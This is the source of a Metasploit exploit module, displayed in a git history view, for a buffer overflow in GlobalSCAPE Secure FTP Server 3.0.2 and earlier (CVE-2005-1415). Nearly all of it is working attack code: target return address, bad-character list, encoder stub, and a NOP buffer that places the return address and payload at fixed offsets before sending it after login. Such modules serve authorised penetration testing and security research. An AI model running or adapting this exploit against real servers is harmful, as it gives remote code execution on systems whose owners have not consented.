Files
metasploit-gs/modules/exploits/windows/ftp/globalscapeftp_input.rb
T

63 lines
1.8 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2013-08-30 16:28:54 -05:00
Rank = GreatRanking
2005-11-24 17:41:32 +00:00
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::Ftp
2005-11-24 17:41:32 +00:00
2013-08-30 16:28:54 -05:00
def initialize(info = {})
super(update_info(info,
'Name' => 'GlobalSCAPE Secure FTP Server Input Overflow',
'Description' => %q{
This module exploits a buffer overflow in the GlobalSCAPE Secure FTP Server.
All versions prior to 3.0.3 are affected by this flaw. A valid user account (
or anonymous access) is required for this exploit to work.
},
2014-07-11 12:45:23 -05:00
'Author' => [ 'Fairuzan Roslan <riaf[at]mysec.org>', 'Mati Aharoni <mati[at]see-security.com>' ],
2013-08-30 16:28:54 -05:00
'License' => BSD_LICENSE,
'References' =>
[
[ 'CVE', '2005-1415'],
[ 'OSVDB', '16049'],
2013-08-30 16:28:54 -05:00
[ 'BID', '13454'],
[ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2005-04/0674.html'],
],
'Privileged' => false,
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x20" + (0x61..0x7a).to_a.pack('C*'),
'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
},
'Platform' => [ 'win' ],
'Targets' =>
[
[
'GlobalSCAPE Secure FTP Server <= 3.0.2 Universal',
{
'Ret' => 0x1002f01f,
},
],
],
'DisclosureDate' => 'May 1 2005',
'DefaultTarget' => 0))
end
2005-11-24 17:41:32 +00:00
2013-08-30 16:28:54 -05:00
def exploit
c = connect_login
return if not c
2005-11-24 17:41:32 +00:00
2013-08-30 16:28:54 -05:00
buf = make_nops(3047)
buf[2043, 4] = [ target.ret ].pack('V')
buf[2047, payload.encoded.length] = payload.encoded
2013-08-30 16:28:54 -05:00
send_cmd( [buf] )
2013-08-30 16:28:54 -05:00
handler
disconnect
end
end